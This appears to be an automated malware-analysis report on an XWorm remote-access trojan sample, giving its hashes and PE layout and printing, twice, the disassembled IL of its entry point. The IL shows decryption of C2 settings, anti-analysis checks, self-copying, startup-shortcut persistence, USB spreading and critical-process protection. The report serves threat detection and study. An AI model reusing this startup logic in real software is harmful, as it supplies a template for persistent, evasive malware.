Malicious
Malicious

1e93b1b6c10c181b585b138672bf18a5

PE Executable
|
MD5: 1e93b1b6c10c181b585b138672bf18a5
|
Size: 89.09 KB
|
application/x-msdownload

Executable
PE (Portable Executable)
Managed .NET
PE File Layout
Win 32 Exe
x86
.Net
SOS: 0.24
RAT
XWorm
Infection Chain
Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Low

Hash
Hash Value
MD5
1e93b1b6c10c181b585b138672bf18a5
Sha1
3387e9d7cb30a30b1ba497b51a7e3e17576d4737
Sha256
d63994be3db3b03105b1b822d73a89cff59f1cb5d156162c92f556ee38bfc48a
Sha384
40999999b4a7bd27a8ceaf06bb79ca55a603028fdb23df23cf055c340be664f1b9d5a756eb6514e49d2a4e71774d1c30
Sha512
eae88746dc78e04023fbc045cc7dbe9881c3032b567081753e7cc141cfabae25eda872854a051863efb191609c8059d1d495a5b6dc341252d47136d6abd70225
SSDeep
768:B8zTTECt1DdQBJ6peW1IIdpFPc9y16ZO9hgu3KnIB8t+pMHhGwflrLL0mrM:BYFAcFU9y16ZO93BZ7wfRLL0KM
TLSH
5B938348F353C9E8EA6F3334547269071F62EC1BA9566A8E20CCF6A639322524057DF7

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
1e93b1b6c10c181b585b138672bf18a5
Executable
PE (Portable Executable)
Managed .NET
PE File Layout
Win 32 Exe
x86
.Net
SOS: 0.24
RAT
XWorm
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0-preview.png
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
ID:0006
ID:0
ID:0007
ID:0
ID:0008
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Informations
Name
Value
Info

PE Detect: PeReader OK (file layout)

Module Name

RainbowDashClient.exe

Full Name

RainbowDashClient.exe

EntryPoint

System.Void Stub.Main::Main()

Scope Name

RainbowDashClient.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

RainbowDashClient

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

233

Main Method

System.Void Stub.Main::Main()

Main IL Instruction Count

199

Main IL

ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Settings::Host call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Host ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Port ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::SPL ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::USBNM ldsfld System.String Settings::InstallDir call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String Settings::InstallDir leave.s IL_0099: call System.Boolean Stub.Helper::CreateMutex() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.2 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0099: call System.Boolean Stub.Helper::CreateMutex() call System.Boolean Stub.Helper::CreateMutex() brtrue.s IL_00A6: call System.Void Stub.Main::RunAntiAnalysis() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.Main::RunAntiAnalysis() leave.s IL_00BB: call System.Void Stub.Main::Exclusion() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00BB: call System.Void Stub.Main::Exclusion() call System.Void Stub.Main::Exclusion() ldsfld System.String Settings::InstallDir ldstr \ ldsfld System.String Stub.Helper::current call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_4 ldloc.s V_4 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_00F4: ldc.i4 1000 ldloc.s V_4 newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.s V_4 ldsfld System.String Stub.Helper::current call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0120: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0120: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String Stub.Helper::current call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_5 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_9 ldloc.s V_9 ldc.i4.0 <null> ldloc.s V_5 stelem.ref <null> ldloc.s V_9 stloc.s V_10 ldloc.s V_10 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_11 ldloc.s V_11 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_11 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_11 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_01A5: stloc.s V_12 ldloc.s V_10 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_5 stloc.s V_12 ldloc.s V_12 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldloc.s V_4 stelem.ref <null> ldloc.s V_13 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_12 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_13 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_12 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_12 ldloc.s V_5 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.Helper::fileStream leave.s IL_0225: call System.Void Stub.USB::USBStart() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0225: call System.Void Stub.USB::USBStart() call System.Void Stub.USB::USBStart() call System.Void Stub.Helper::PreventSleep() call System.String Stub.ClientSocket::UAC() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_0240: ldnull call System.Void Stub.ProcessCritical::CriticalProcess_Enable() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.0 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldloc.0 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.1 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Module Name

RainbowDashClient.exe

Full Name

RainbowDashClient.exe

EntryPoint

System.Void Stub.Main::Main()

Scope Name

RainbowDashClient.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

RainbowDashClient

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

233

Main Method

System.Void Stub.Main::Main()

Main IL Instruction Count

199

Main IL

ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Settings::Host call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Host ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Port ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::SPL ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::USBNM ldsfld System.String Settings::InstallDir call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String Settings::InstallDir leave.s IL_0099: call System.Boolean Stub.Helper::CreateMutex() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.2 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0099: call System.Boolean Stub.Helper::CreateMutex() call System.Boolean Stub.Helper::CreateMutex() brtrue.s IL_00A6: call System.Void Stub.Main::RunAntiAnalysis() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.Main::RunAntiAnalysis() leave.s IL_00BB: call System.Void Stub.Main::Exclusion() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00BB: call System.Void Stub.Main::Exclusion() call System.Void Stub.Main::Exclusion() ldsfld System.String Settings::InstallDir ldstr \ ldsfld System.String Stub.Helper::current call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_4 ldloc.s V_4 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_00F4: ldc.i4 1000 ldloc.s V_4 newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.s V_4 ldsfld System.String Stub.Helper::current call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0120: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0120: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String Stub.Helper::current call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_5 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_9 ldloc.s V_9 ldc.i4.0 <null> ldloc.s V_5 stelem.ref <null> ldloc.s V_9 stloc.s V_10 ldloc.s V_10 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_11 ldloc.s V_11 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_11 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_11 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_01A5: stloc.s V_12 ldloc.s V_10 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_5 stloc.s V_12 ldloc.s V_12 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldloc.s V_4 stelem.ref <null> ldloc.s V_13 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_12 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_13 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_12 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_12 ldloc.s V_5 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.Helper::fileStream leave.s IL_0225: call System.Void Stub.USB::USBStart() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0225: call System.Void Stub.USB::USBStart() call System.Void Stub.USB::USBStart() call System.Void Stub.Helper::PreventSleep() call System.String Stub.ClientSocket::UAC() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_0240: ldnull call System.Void Stub.ProcessCritical::CriticalProcess_Enable() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.0 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldloc.0 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.1 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

1e93b1b6c10c181b585b138672bf18a5 (89.09 KB)
File Structure
1e93b1b6c10c181b585b138672bf18a5
Executable
PE (Portable Executable)
Managed .NET
PE File Layout
Win 32 Exe
x86
.Net
SOS: 0.24
RAT
XWorm
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0-preview.png
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
ID:0006
ID:0
ID:0007
ID:0
ID:0008
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Characteristics
No malware configuration were found at this point.
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